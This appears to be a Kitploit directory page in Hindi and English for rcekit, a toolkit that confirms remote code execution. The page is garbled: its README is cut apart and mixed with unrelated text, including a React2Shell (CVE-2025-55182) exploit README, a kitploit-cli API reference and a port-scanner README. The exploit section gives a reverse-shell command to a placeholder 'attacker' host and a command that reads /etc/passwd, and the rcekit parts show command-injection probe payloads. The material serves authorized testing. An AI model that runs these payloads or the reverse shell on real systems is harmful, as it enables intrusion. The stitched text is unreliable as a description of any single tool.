Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
rcekit — RCE डिटेक्शन और कन्फर्मेशन टूलकिट जो URLs या कैप्चर किए गए HTTP अनुरोधों को कमांड इंजेक्शन, SSTI, ब्लाइंड और OOB पाथ्स के लिए टेस्ट करता है, और प्रमाण के साथ टियर-आधारित निर्णय लौटाता है। | Kitploit
उपकरण/GitHubGitHub/kabiri-labs/rcekit
भेद्यता स्कैनरवेब भेद्यता स्कैनरपेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणफज़िंगपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलउपयोगिताएँ और फ्रेमवर्करेड टीमिंग
142171 दिन पहलेअभी तक समीक्षित नहीं
GitHub
kabiri-labs/rcekit

rcekit

RCE डिटेक्शन और कन्फर्मेशन टूलकिट जो URLs या कैप्चर किए गए HTTP अनुरोधों को कमांड इंजेक्शन, SSTI, ब्लाइंड और OOB पाथ्स के लिए टेस्ट करता है, और प्रमाण के साथ टियर-आधारित निर्णय लौटाता है।

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

RCEKit

confirmed का अर्थ है कि लक्ष्य ने इनपुट को निष्पादित किया। negative का अर्थ है कि प्रोब उस तक पहुँच गए।

संस्करण 2.40.0 · MIT · Python 3.8+ · शून्य तृतीय-पक्ष निर्भरताएँ

RCEKit एक RCE डिटेक्शन और पुष्टि टूलकिट है जो अधिकृत पेनेट्रेशन टेस्टिंग, रेड टीमिंग और सुरक्षा अनुसंधान के लिए है। इसे उस लक्ष्य पर इंगित करें जिसे परीक्षण करने की आपको अनुमति है — एक URL या एक कैप्चर किया गया HTTP अनुरोध — और प्रत्येक निष्कर्ष उस स्तर के साथ वापस आता है जो उसने अर्जित किया है।

प्रत्येक confirmed उस मान पर टिका है जो RCEKit ने उस प्रोब के लिए यादृच्छिक रूप से उत्पन्न किया और जिसे वह प्रतिबिंब उत्पन्न नहीं कर सकता: प्रतिक्रिया में उपस्थित और पेलोड-रहित नियंत्रण में अनुपस्थित एक परिकलित परिणाम, या एक आउट-ऑफ-बैंड कॉलबैक जो एक टोकन ले जाता है जो केवल लक्ष्य के पास ही था। कमज़ोर संकेत अपने स्वयं के स्तर बनाए रखते हैं और कभी भी उसमें पदोन्नत नहीं किए जाते। और जो रन किसी चीज़ का परीक्षण नहीं कर सका, वह उसे कभी स्वच्छ नहीं बताता।


प्रमाण, "शायद" नहीं

RCEKit एक ही CLI के अंतर्गत कई विधियों के माध्यम से RCE की पुष्टि करता है। नीचे इसे उत्पादन सॉफ़्टवेयर में वास्तविक, सार्वजनिक रूप से प्रलेखित CVE पर इंगित किया गया है — प्रत्येक निर्णय पेलोड-रहित नियंत्रण के विरुद्ध अंतरित:

RCE वर्ग--methodsवास्तविक-विश्व लक्ष्यनिर्णय
OS कमांड इंजेक्शन (परिणाम-आधारित)reflectedWebmin 1.910 — CVE-2019-15107confirmed
एक्सप्रेशन इंजेक्शन (OGNL)evalApache Struts2 — S2-001confirmed
एक्सप्रेशन-लुकअप (Log4Shell/JNDI)lookupApache Solr 8.11.0 (Log4j 2.14.1) — CVE-2021-44228lookup-sink
ब्लाइंड कमांड इंजेक्शन (कोई आउटपुट नहीं)timeWebmin 1.910 — CVE-2019-15107needs-review

प्रत्येक पंक्ति tests/bench/ द्वारा पुनरुत्पादित की जाती है, जो Docker के अंतर्गत इन बिल्डों के विरुद्ध RCEKit चलाता है और निर्णय और उसके नकारात्मक नियंत्रण की जाँच करता है। अंतिम रन 2.36.0 (2026-09-20) पर हरा: 3/3 मामले। यह एक समय-बिंदु दावा है, निरंतर नहीं -- बेंचमार्क एक नियमित अंतराल पर चलाया जाता है, प्रत्येक परिवर्तन पर नहीं।

प्रत्येक नियंत्रण उस पंक्ति का वास्तविक परीक्षण है। reflected के साथ प्रोब किया गया Struts2 negative वापस आता है, क्योंकि S2-001 OGNL का पुनर्मूल्यांकन करता है और उसके पीछे कोई शेल नहीं है। Webmin का time संकेत उस लक्ष्य पर needs-review पर बनाए रखा जाता है जहाँ यह संयोगवश सही होता है। और oob के साथ प्रोब किया गया Solr negative वापस आता है हालाँकि यह शोषणीय है -- oob शेल कमांड बनाता है और एक ${jndi:...} सिंक उनमें से कोई भी नहीं चलाता, यही वह अंतराल है जिसे भरने के लिए lookup मौजूद है, दावा करने के बजाय मापा गया।

Log4Shell पंक्ति lookup-sink कहती है, confirmed नहीं: कॉलबैक जो साबित करता है वह यह है कि सिंक ने RCEKit द्वारा चुने गए URI को हल किया। RCE तक पहुँचने के लिए एक ऐसे सर्वर की आवश्यकता होती है जो लुकअप का उत्तर एक लोड करने योग्य क्लास के साथ दे, और डिफ़ॉल्ट जोखिम स्तर पर केवल jndi:dns:// बाहर जाता है -- एक नाम लुकअप, जिसके आगे ऐसे सर्वर के उत्तर देने के लिए कोई कनेक्शन नहीं है।

reflected — OS कमांड इंजेक्शन, Webmin CVE-2019-15107 → confirmed

RCEKit confirming OS command injection on Webmin 1.910 (CVE-2019-15107): the shell computes arithmetic on random operands, the result is reflected in the response and absent from a payload-free control

eval — OGNL एक्सप्रेशन इंजेक्शन, Apache Struts2 S2-001 → confirmed

RCEKit confirming OGNL expression injection on Apache Struts2 (S2-001): the payload %{ab} evaluates to the product in the response while the literal ab does not

आउट-ऑफ-बैंड — DNS कॉलबैक के माध्यम से ब्लाइंड Log4Shell (CVE-2021-44228) → lookup-sink

RCEKit correlating a blind Log4Shell (CVE-2021-44228) DNS callback back to the exact payload that produced it: the token in the queried name is one only the target could have learned by resolving the URI it was handed

time — ब्लाइंड कमांड इंजेक्शन, Webmin CVE-2019-15107 → needs-review

RCEKit measuring a linear timing response on Webmin 1.910 (CVE-2019-15107): response time tracks a controlled 0/N/2N delay series — a needs-review timing candidate, never confirmed on its own


त्वरित शुरुआत

RCEKit के दो समर्थित रूप हैं, और इनमें से कोई भी दूसरे के लिए फ़ॉलबैक नहीं है।

इसे इंस्टॉल करें — pipx CLI को उसके स्वयं के वातावरण में रखता है, जो एक टूल के लिए आप चाहते हैं, लाइब्रेरी के लिए नहीं:```bash pipx install rcekit # or: pip install rcekit rcekit --doctor # confirms the corpus it will run with

root@kitploit:~
**या फिर सिर्फ एक फ़ाइल ले लें।** पेलोड कॉर्पस मॉड्यूल में ही बना हुआ है, इसलिए
`rcekit.py` अपने आप चलता है, इसके साथ कुछ और ज़रूरी नहीं — कोई इंस्टॉल स्टेप नहीं, कोई
site-packages नहीं, पीछे छोड़ने के लिए कुछ नहीं। किसी क्लाइंट जंप बॉक्स पर, किसी एयर-गैप्ड
होस्ट पर, या कहीं भी जहाँ `pip install` कोई विकल्प न हो:```bash
curl -O https://raw.githubusercontent.com/kabiri-labs/rcekit/main/rcekit.py
python rcekit.py --doctor    # same corpus, same check, zero installation

दोनों एक ही कोड चलाते हैं और एक ही निर्णय रिपोर्ट करते हैं। चेकआउट से काम करना तीसरा तरीका है, और इसके लिए भी किसी इंस्टॉल की आवश्यकता नहीं है:```bash git clone https://github.com/kabiri-labs/rcekit.git cd rcekit # Python 3.8+, standard library only

root@kitploit:~
जहाँ आपका इनपुट पहुँचता है वहाँ एक `FUZZ` मार्कर रखें (या कैप्चर किए गए रिक्वेस्ट का उपयोग करते समय `-p` के साथ एक पैरामीटर चुनें), और RCEKit से RCE साबित करने के लिए कहें:```bash
rcekit --acknowledge-consent \
  --verify-url "https://target.example/lookup?host=FUZZ" \
  --methods reflected,eval

अवलोकन

यह रिपॉजिटरी CVE-2025-55182 के लिए एक प्रमाण-अवधारणा (Proof-of-Concept, PoC) प्रदान करती है, जो React Server Components (RSC) में एक गंभीर अपुष्ट डेसीरियलाइज़ेशन भेद्यता है, जिसे React2Shell के नाम से भी जाना जाता है।

यह भेद्यता React 19.0.0, 19.1.0, 19.1.1, और 19.2.0 के साथ-साथ Next.js 15.x और 16.x को प्रभावित करती है, और हमलावरों को प्रभावित सर्वरों पर दूरस्थ कोड निष्पादन (Remote Code Execution, RCE) प्राप्त करने की अनुमति देती है।


भेद्यता विवरण

  • CVE ID: CVE-2025-55182
  • उपनाम: React2Shell
  • प्रकार: अपुष्ट डेसीरियलाइज़ेशन → दूरस्थ कोड निष्पादन (RCE)
  • प्रभावित सॉफ़्टवेयर:
    • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
    • Next.js: 15.x, 16.x
  • CVSS स्कोर: 10.0 (Critical)
  • शोषण वेक्टर: नेटवर्क (HTTP अनुरोध)

तकनीकी पृष्ठभूमि

React Server Components (RSC) क्लाइंट और सर्वर के बीच डेटा के आदान-प्रदान के लिए एक विशेष सीरियलाइज़ेशन प्रारूप का उपयोग करते हैं। यह प्रारूप जटिल डेटा संरचनाओं, संदर्भों, और क्लाइंट-सर्वर सीमा पार करने वाले फ़ंक्शन कॉल का समर्थन करता है।

भेद्यता तब उत्पन्न होती है जब RSC सीरियलाइज़ेशन प्रारूप में डेटा को डेसीरियलाइज़ करते समय इनपुट का अपर्याप्त सत्यापन किया जाता है। एक हमलावर विशेष रूप से तैयार किए गए पेलोड का निर्माण कर सकता है जो डेसीरियलाइज़ेशन प्रक्रिया के दौरान मनमाने ऑब्जेक्ट इंस्टेंशिएशन और विधि आह्वान को ट्रिगर करता है।


शोषण तंत्र

  1. पेलोड निर्माण: हमलावर एक विशेष रूप से तैयार किया गया RSC सीरियलाइज़्ड पेलोड बनाता है जिसमें दुर्भावनापूर्ण ऑब्जेक्ट संदर्भ और विधि कॉल शामिल होते हैं।

  2. इंजेक्शन: पेलोड को एक HTTP अनुरोध के माध्यम से भेजा जाता है, जिसे RSC एंडपॉइंट द्वारा संसाधित किया जाता है।

  3. डेसीरियलाइज़ेशन: सर्वर पेलोड को डेसीरियलाइज़ करता है, जिससे दुर्भावनापूर्ण ऑब्जेक्ट का निर्माण होता है और संबंधित विधियाँ निष्पादित होती हैं।

  4. कोड निष्पादन: हमलावर सर्वर पर मनमाना कोड निष्पादित करने में सफल होता है, जिससे पूर्ण सिस्टम समझौता हो सकता है।


PoC का उपयोग कैसे करें

पूर्वापेक्षाएँ

  • Python 3.8+
  • requests लाइब्रेरी
  • एक लक्ष्य React/Next.js सर्वर जो भेद्य संस्करण चला रहा हो

इंस्टॉलेशन

root@kitploit:~
git clone https://github.com/example/CVE-2025-55182-PoC.git
cd CVE-2025-55182-PoC
pip install -r requirements.txt

उपयोग

root@kitploit:~
python3 exploit.py --target http://target-server:3000 --command "id"

विकल्प

विकल्पविवरण
--targetलक्ष्य सर्वर का URL
--commandनिष्पादित करने के लिए कमांड
--endpointRSC एंडपॉइंट पथ (डिफ़ॉल्ट: /)
--proxyउपयोग करने के लिए HTTP प्रॉक्सी
--verboseविस्तृत आउटपुट सक्षम करें

उदाहरण

root@kitploit:~
# बुनियादी कमांड निष्पादन
python3 exploit.py --target http://vulnerable-app:3000 --command "whoami"

# रिवर्स शेल
python3 exploit.py --target http://vulnerable-app:3000 --command "bash -i >& /dev/tcp/attacker/4444 0>&1"

# फ़ाइल पढ़ें
python3 exploit.py --target http://vulnerable-app:3000 --command "cat /etc/passwd"

शमन

  • React 19.2.1 या बाद के संस्करण में अपग्रेड करें
  • Next.js 16.1.0 या बाद के संस्करण में अपग्रेड करें
  • यदि तत्काल अपग्रेड संभव नहीं है, तो RSC एंडपॉइंट तक पहुँच को प्रतिबंधित करें
  • अनुरोध पेलोड को मान्य और साफ़ करने के लिए WAF नियम लागू करें
  • न्यूनतम विशेषाधिकार सिद्धांत का पालन करें

अस्वीकरण

यह PoC केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग केवल उन प्रणालियों पर करें जिनके लिए आपके पास स्पष्ट लिखित अनुमति है। अनधिकृत पहुँच या हमला अवैध है और इसके परिणामस्वरूप गंभीर कानूनी परिणाम हो सकते हैं। लेखक किसी भी दुरुपयोग या क्षति के लिए कोई ज़िम्मेदारी नहीं लेते हैं।


संदर्भ

  • React सुरक्षा सलाह
  • Next.js सुरक्षा सलाह
  • CVE-2025-55182 विवरण``` [detect] methods: reflected, eval [detect] sent 13 probes: confirmed=4, negative=9

[detect] CONFIRMED execution (4): [reflected/unix/raw] ; echo RKYZRIP$((540141+314681))RKFWVFS$(echo RKBWOOC)RKYZRIP (target computed 'RKYZRIP854822RKFWVFSRKBWOOCRKYZRIP' — random operands, absent from control)

root@kitploit:~
### कैप्चर किए गए अनुरोध से — वह आकार जो अधिकांश वास्तविक लक्ष्यों में होता है

एक `--verify-url` में केवल एक URL होता है और कुछ नहीं। परीक्षण के योग्य अधिकांश सिंक एक POST के पीछे होते हैं जिसमें एक सत्र कुकी, एक सामग्री प्रकार और एक बॉडी होती है, और RCEKit उस अनुरोध को पूरा लेता है: इसे अपने प्रॉक्सी या अपने ब्राउज़र के devtools से सहेजें और उस फ़ील्ड का नाम बताएं जिसमें इंजेक्ट करना है।```bash
rcekit --acknowledge-consent \
  -r search.req -p q \
  --methods reflected,eval

| -s | --server | Server URL (default: http://localhost:8080) | | -t | --token | API token for authentication | | -o | --output | Output file path | | -f | --format | Output format: json, csv, table | | -v | --verbose | Enable verbose output | | -q | --quiet | Suppress non-essential output | | --no-color | | Disable colored output | | --timeout | | Request timeout in seconds (default: 30) |

उदाहरण

root@kitploit:~
# List all scans
kitploit-cli scans list

# Get scan details
kitploit-cli scans get --id 12345

# Export results to JSON
kitploit-cli scans export --id 12345 --format json --output results.json

# Run a new scan
kitploit-cli scans run --target example.com --profile full

# Check server status
kitploit-cli server status --server http://localhost:8080

कॉन्फ़िगरेशन

CLI निम्नलिखित स्थानों पर कॉन्फ़िगरेशन फ़ाइल की तलाश करता है:

  1. ./.kitploit.yaml
  2. ~/.config/kitploit/config.yaml
  3. /etc/kitploit/config.yaml

कॉन्फ़िगरेशन फ़ाइल का उदाहरण:

root@kitploit:~
server: http://localhost:8080
token: your-api-token-here
output_format: table
timeout: 30
verbose: false

पर्यावरण चर

चरविवरण
KITPLOIT_SERVERसर्वर URL
KITPLOIT_TOKENAPI टोकन
KITPLOIT_FORMATडिफ़ॉल्ट आउटपुट प्रारूप
KITPLOIT_TIMEOUTअनुरोध टाइमआउट (सेकंड में)
NO_COLORरंगीन आउटपुट अक्षम करें

API संदर्भ

प्रमाणीकरण

सभी API अनुरोधों के लिए Authorization हेडर में API टोकन की आवश्यकता होती है:

root@kitploit:~
Authorization: Bearer <your-api-token>

एंडपॉइंट

GET /api/v1/scans

सभी स्कैन की सूची प्राप्त करें।

क्वेरी पैरामीटर:

पैरामीटरप्रकारविवरण
pageintegerपृष्ठ संख्या (डिफ़ॉल्ट: 1)
limitintegerप्रति पृष्ठ आइटम (डिफ़ॉल्ट: 20, अधिकतम: 100)
statusstringस्थिति के अनुसार फ़िल्टर करें: pending, running, completed, failed
targetstringलक्ष्य के अनुसार फ़िल्टर करें

प्रतिक्रिया:

root@kitploit:~
{
  "data": [
    {
      "id": 12345,
      "target": "example.com",
      "status": "completed",
      "created_at": "2024-01-15T10:30:00Z",
      "completed_at": "2024-01-15T10:35:00Z"
    }
  ],
  "pagination": {
    "page": 1,
    "limit": 20,
    "total": 1
  }
}

POST /api/v1/scans

एक नया स्कैन शुरू करें।

अनुरोध निकाय:

root@kitploit:~
{
  "target": "example.com",
  "profile": "full",
  "options": {
    "timeout": 300,
    "threads": 10
  }
}

प्रतिक्रिया:

root@kitploit:~
{
  "id": 12346,
  "target": "example.com",
  "status": "pending",
  "created_at": "2024-01-15T11:00:00Z"
}

[detect] sent 4 probes: confirmed=3, negative=1

[detect] CONFIRMED execution (3): [reflected/unix/raw] ; echo RKHWNHK$((114157+752773))RKXGFIH$(echo RKHSEIF)RKHWNHK (target computed 'RKHWNHK866930RKXGFIHRKHSEIFRKHWNHK' — random operands, absent from control)

root@kitploit:~
विधि, पथ, हेडर, बॉडी और कुकीज़ को जैसे कैप्चर किया गया था वैसे ही पुनः उपयोग किया जाता है, और प्रत्येक मान को उस संदर्भ के लिए एन्कोड किया जाता है जिसमें वह पहुँचता है — एक JSON लीफ, एक फ़ॉर्म फ़ील्ड और एक कुकी को एक ही तरीके से एस्केप नहीं किया जाता। यदि आप चाहें तो `-p` हटा दें और उस स्थान को `FUZZ` या `*` से चिह्नित करें।

### टूल के पास जो कुछ भी है

दो चीज़ें केवल कैप्चर किए गए अनुरोध से ही पहुँच योग्य हैं: **इंजेक्शन-पॉइंट एन्यूमरेशन** (`--auto-params`), और कोई भी सिंक जिसे सेशन की आवश्यकता होती है। इसलिए RCEKit जो सबसे पूर्ण रन बना सकता है वह URL से नहीं, बल्कि `-r` से शुरू होता है — जो किसी लक्ष्य को क्लीन घोषित करने से पहले जानने योग्य है।```bash
rcekit --acknowledge-consent \
  -r search.req --auto-params all --point-order thorough \
  --methods reflected,eval,time,lookup,deser \
  --oob-host oob.yourdomain.example --listen-dns-port 53 \
  --verify-active-risk stateful --probe-depth full \
  --detect-json findings.json

🎯 मुख्य विशेषताएँ

  • पूर्ण स्कैनिंग: सभी 65,536 पोर्ट्स का तेज़ TCP स्कैन
  • सेवा पहचान: बैनर ग्रैबिंग और सेवा संस्करण का पता लगाना
  • OS फिंगरप्रिंटिंग: निष्क्रिय OS पहचान तकनीकें
  • स्टील्थ मोड: SYN स्कैन, FIN स्कैन, XMAS स्कैन, NULL स्कैन
  • UDP स्कैनिंग: सामान्य UDP सेवाओं का पता लगाना
  • स्क्रिप्टिंग इंजन: Lua-आधारित स्क्रिप्टिंग सपोर्ट
  • आउटपुट फॉर्मेट: सामान्य, XML, JSON, grep-able आउटपुट
  • परफॉर्मेंस: मल्टी-थ्रेडेड और एसिंक्रोनस स्कैनिंग

📦 इंस्टॉलेशन

सोर्स से बिल्ड करना

root@kitploit:~
git clone https://github.com/example/netscan.git
cd netscan
mkdir build && cd build
cmake ..
make -j$(nproc)
sudo make install

पैकेज मैनेजर के माध्यम से

root@kitploit:~
# Debian/Ubuntu
sudo apt-get install netscan

# RHEL/CentOS
sudo yum install netscan

# macOS
brew install netscan

🚀 उपयोग

बेसिक स्कैन

root@kitploit:~
# सिंगल टारगेट स्कैन
netscan 192.168.1.1

# सबनेट स्कैन
netscan 192.168.1.0/24

# पोर्ट रेंज स्कैन
netscan -p 1-1000 192.168.1.1

# टॉप पोर्ट्स स्कैन
netscan --top-ports 100 192.168.1.1

उन्नत स्कैनिंग

root@kitploit:~
# SYN स्टील्थ स्कैन
sudo netscan -sS 192.168.1.1

# सेवा संस्करण का पता लगाना
netscan -sV 192.168.1.1

# OS का पता लगाना
sudo netscan -O 192.168.1.1

# एग्रेसिव स्कैन
sudo netscan -A 192.168.1.1

# UDP स्कैन
sudo netscan -sU 192.168.1.1

आउटपुट विकल्प

root@kitploit:~
# सामान्य आउटपुट
netscan -oN output.txt 192.168.1.1

# XML आउटपुट
netscan -oX output.xml 192.168.1.1

# JSON आउटपुट
netscan -oJ output.json 192.168.1.1

# सभी फॉर्मेट
netscan -oA scan_results 192.168.1.1

🔧 कॉन्फ़िगरेशन

कॉन्फ़िगरेशन फ़ाइल

~/.netscan/config.yaml पर एक कॉन्फ़िगरेशन फ़ाइल बनाएँ:

root@kitploit:~
default:
  timing: 4
  threads: 100
  timeout: 3000
  retries: 2

scan:
  syn: true
  udp: false
  service_detection: true
  os_detection: false

output:
  format: normal
  verbose: false

एनवायरनमेंट वेरिएबल्स

root@kitploit:~
export NETSCAN_HOME=/opt/netscan
export NETSCAN_CONFIG=/etc/netscan/config.yaml
export NETSCAN_TIMEOUT=5000

📊 स्क्रिप्टिंग

Lua स्क्रिप्ट उदाहरण

root@kitploit:~
-- custom_scan.lua
local netscan = require("netscan")

function scan_host(host)
    local result = netscan.scan({
        target = host,
        ports = "1-1000",
        scan_type = "syn"
    })
    
    for _, port in ipairs(result.open_ports) do
        print(string.format("Port %d: %s", port.number, port.service))
    end
end

scan_host("192.168.1.1")

🛡️ सुरक्षा सुविधाएँ

  • रेट लिमिटिंग: नेटवर्क ओवरलोड को रोकने के लिए कॉन्फ़िगर करने योग्य रेट लिमिटिंग
  • टाइमआउट हैंडलिंग: स्मार्ट टाइमआउट और रिट्राई तंत्र
  • फ्रैगमेंटेशन: पैकेट फ्रैगमेंटेशन सपोर्ट
  • डिकॉय स्कैन: डिकॉय IP पते का उपयोग करके स्कैन छिपाना
  • सोर्स पोर्ट स्पूफिंग: कस्टम सोर्स पोर्ट स्पेसिफिकेशन

📈 परफॉर्मेंस ट्यूनिंग

root@kitploit:~
# हाई-स्पीड स्कैन
netscan -T4 --min-rate 1000 192.168.1.0/24

# कम बैंडविड्थ स्कैन
netscan -T2 --max-rate 100 192.168.1.0/24

# पैरेलल होस्ट स्कैनिंग
netscan --min-hostgroup 256 --max-hostgroup 1024 192.168.1.0/16

🤝 योगदान

योगदान का स्वागत है! कृपया पुल रिक्वेस्ट सबमिट करने से पहले योगदान दिशानिर्देश पढ़ें।

  1. रिपॉजिटरी फोर्क करें
  2. फीचर ब्रांच बनाएँ (git checkout -b feature/amazing-feature)
  3. अपने बदलाव कमिट करें (git commit -m 'Add amazing feature')
  4. ब्रांच पर पुश करें (git push origin feature/amazing-feature)
  5. पुल रिक्वेस्ट खोलें

📄 लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।

⚠️ डिस्क्लेमर

यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। बिना उचित प्राधिकरण के नेटवर्क स्कैन करना अवैध हो सकता है। हमेशा सुनिश्चित करें कि आपके पास लक्ष्य सिस्टम को स्कैन करने की अनुमति है।

🙏 आभार

  • सभी योगदानकर्ताओं और मेंटेनर्स को धन्यवाद
  • ओपन-सोर्स सुरक्षा समुदाय से प्रेरित
  • बेहतरीन सुरक्षा टूलिंग पारिस्थितिकी तंत्र पर निर्मित``` [verify] loaded request from search.req: enumerating 4 injection point(s) [detect] enumerating 4 injection point(s) x 3 method(s) [detect] cost: 4 points x ~1739 probes = at least 6964 requests [detect] body param 'q': confirmed (1544 probes) <-- CONFIRMED [detect] sent 6371 probes: confirmed=446, negative=5925
root@kitploit:~
हर फ़्लैग क्या खोलता है:

| | |
|---|---|
| `--auto-params all` | हर query value, JSON leaf, form field, multipart part, cookie और header, किसी एक नामित फ़ील्ड के बजाय |
| `--point-order thorough` | हर non-hop-by-hop header, सिर्फ़ high-yield वाले ही नहीं |
| `--methods ...,lookup,deser` | expression-lookup और deserialization sinks, जहाँ तक shell-shaped methods पहुँच नहीं सकतीं |
| `--oob-host` | blind methods के लिए एक callback host। इसके लिए आपको सौंपा गया domain चाहिए; port 53 के लिए root चाहिए |
| `--verify-active-risk stateful` | सबसे ऊँचा स्तर — वे probe shapes जोड़ता है जो target को ऐसे address से fetch करवाते हैं जो RCEKit ने नहीं चुना |
| `--probe-depth full` | प्रति sink हर break-out shape, सिर्फ़ सस्ते वाले ही नहीं |
| `--detect-json` | वही verdicts machine-readable JSON के रूप में |

**यह बहुत सारी requests हैं।** कुछ भी fire होने से पहले cost line print होती है, और
`--max-points` / `--max-payloads` इसे सीमित करते हैं। इसे ऐसे instance के खिलाफ़ चलाएँ जिसे तोड़ने की आपको अनुमति है: `--verify-active-risk stateful` एक disposable target का स्तर है, production का नहीं।

कोई external infrastructure नहीं, कोई config file नहीं।

**GIFs पर भरोसा न करें** — [इन्हें खुद reproduce करें](https://github.com/kabiri-labs/rcekit/blob/main/docs/verify-it-yourself.md)
dockerised Webmin और Struts2 targets के खिलाफ़ लगभग पाँच मिनट में।

**आगे:** [**field guide**](https://github.com/kabiri-labs/rcekit/blob/main/docs/guide.md) असली स्थितियों पर चलती है — captured
requests, WAFs, filtered separators, quoted sinks, blind और no-egress targets —
हर एक के लिए एक worked example।

---

## एक verdict का मतलब क्या होता है

एक RCE *candidate* ढूँढना आसान है। ऐसा रिपोर्ट करना जो किसी और के retest में टिक जाए, वही मुश्किल हिस्सा है, और यह दो दिशाओं में विफल होता है: एक "possibly vulnerable" जो असल में reflection निकलता है, और एक "not vulnerable" ऐसी run से जिसने असल में कुछ भी test ही नहीं किया।

RCEKit **आठ verdicts** के साथ जवाब देता है जिन्हें कभी एक-दूसरे में मिलाया नहीं जाता:

| Verdict | यह क्या दावा करता है |
|---|---|
| **`confirmed`** | Target ने input execute किया। उसने ऐसा मान लौटाया जो वह अन्यथा produce नहीं कर सकता था — उस probe के लिए random operands से computed — और वह मान payload-free control में मौजूद नहीं है। |
| **`deserialization-sink`** | Target ने attacker-supplied object graph reconstruct किया। सिद्ध, लेकिन एक *अलग property* के बारे में: वहाँ से RCE तक पहुँचना classpath gadgets पर निर्भर करता है, इसलिए इसे कभी RCE नहीं कहा जाता। |
| **`lookup-sink`** | Target ने एक URI resolve किया जो RCEKit ने उसे दिया — एक `${jndi:…}` expression एक lookup तक पहुँचा, जो एक callback पर सिद्ध हुआ जिसमें ऐसा token था जो सिर्फ़ उसी probe के पास था। यह एक sink है, execution नहीं: वहाँ से RCE तक पहुँचने के लिए एक ऐसा server चाहिए जो loadable class के साथ जवाब दे। |
| **`needs-review`** | एक असली signal जो अपने आप में proof नहीं है — एक linear timing regression, एक parser fingerprint। आपके समय के लायक, लेकिन "confirmed" शब्द के कभी लायक नहीं। |
| **`inconclusive`** | सबूत दिखा, लेकिन execution के लिए attributed नहीं हो सका — payload-free control में भी वही था। |
| **`negative`** | Probes बने, target तक पहुँचे, और कुछ नहीं मिला। |
| **`error`** | कुछ भी target तक नहीं पहुँचा। |
| **`nothing-tested`** | कोई probes बने ही नहीं। |

जिस क्षण `confirmed` और `maybe` धुँधले होते हैं, `confirmed` का कोई मतलब नहीं बचता — इसलिए कुछ भी कभी ऊपर promote नहीं किया जाता। एक timing regression `needs-review` ही रहता है चाहे slope कितना भी साफ़ हो। एक deserialization callback `deserialization-sink` ही रहता है चाहे आप कितने भी निश्चित हों कि classpath exploitable है।

### दूसरा आधा हिस्सा: ऐसी run जिसने कुछ test नहीं किया, वह कभी clean नहीं होती

आख़िरी दो पंक्तियाँ वे हैं जो दूसरे tools के पास नहीं होतीं, और वे दिखने से ज़्यादा मायने रखती हैं। एक scanner जो target तक पहुँच नहीं सका, या जिसने कोई probes नहीं बनाए क्योंकि आपके flags ने उन सबको बाहर कर दिया, उसने target के बारे में **कुछ नहीं** सीखा — और वहाँ `negative` print करना एक झूठ है जो बिल्कुल safety जैसा पढ़ा जाता है।

इसलिए `error` और `nothing-tested` first-class verdicts हैं, run non-zero पर exit करती है, और RCEKit बताता है कि इनमें से कौन-सा हुआ और क्यों:```
[!] No probes were built, so NOTHING WAS TESTED — this is not a negative result.
[!] None of the selected methods (reflected, file) apply to environment(s): sql.

यह हर उस जगह आग लगाता है जहाँ कोई रन चुपचाप खाली हो सकता है: कोई ऐसी मेथड जो चुने गए एनवायरनमेंट्स पर लागू नहीं होती, कोई --sink-shape रंग जिसके लिए चुने गए शेल में कोई सिंटैक्स नहीं है, कोई --bridges चयन जिसे पूरी तरह सेफ्टी सीलिंग ने रोक दिया है, कोई रिक्वेस्ट बॉडी जो पहुँचने से पहले ही डिलीवरी तोड़ चुकी है।

जो रन केवल आंशिक रूप से ब्लाइंड हुआ था, उसे एक स्तर नीचे वही व्यवहार मिलता है। अगर आपने सेकंड-ऑर्डर ओरेकल माँगा था और ऑब्ज़र्व किया गया एंडपॉइंट कभी जवाब नहीं दिया, तो प्रोब वर्डिक्ट्स तब भी बरकरार रहते हैं — लेकिन रन आपको बताता है कि उन्हें उस चैनल को कभी पढ़े बिना तय किया गया था जिसकी ओर आपने इशारा किया था, बजाय इसके कि उन्हें सेकंड-ऑर्डर नेगेटिव मान लिया जाए।


यह क्या पुष्ट करता है

एक CLI, एक --methods फ्लैग, जो RCE तक के मुख्य रास्तों को कवर करता है:

RCE वर्ग--methodsRCEKit इसे कैसे साबित करता है
OS कमांड इंजेक्शनreflectedरैंडम ऑपरेंड्स पर शेल से $((a+b)) की गणना कराता है और $(echo TAG) को कोलैप्स कराता है; परिणाम की पुष्टि करता है, कभी भी लिटरल एक्सप्रेशन की नहीं। सिंक की अपनी बोली में लिखा गया — POSIX, cmd.exe या PowerShell।
कोड / एक्सप्रेशन इंजेक्शन — SSTI, SpEL, OGNL, Groovy, eval() (CWE-94)evalहर सामान्य टेम्पलेट सिंटैक्स (${…} {{…}} #{…} %{…} <%=…%> @(…), बेयर) में a*b इंजेक्ट करता है; पुष्टि करता है कि प्रोडक्ट दिखाई देता है जबकि लिटरल a*b नहीं दिखता।
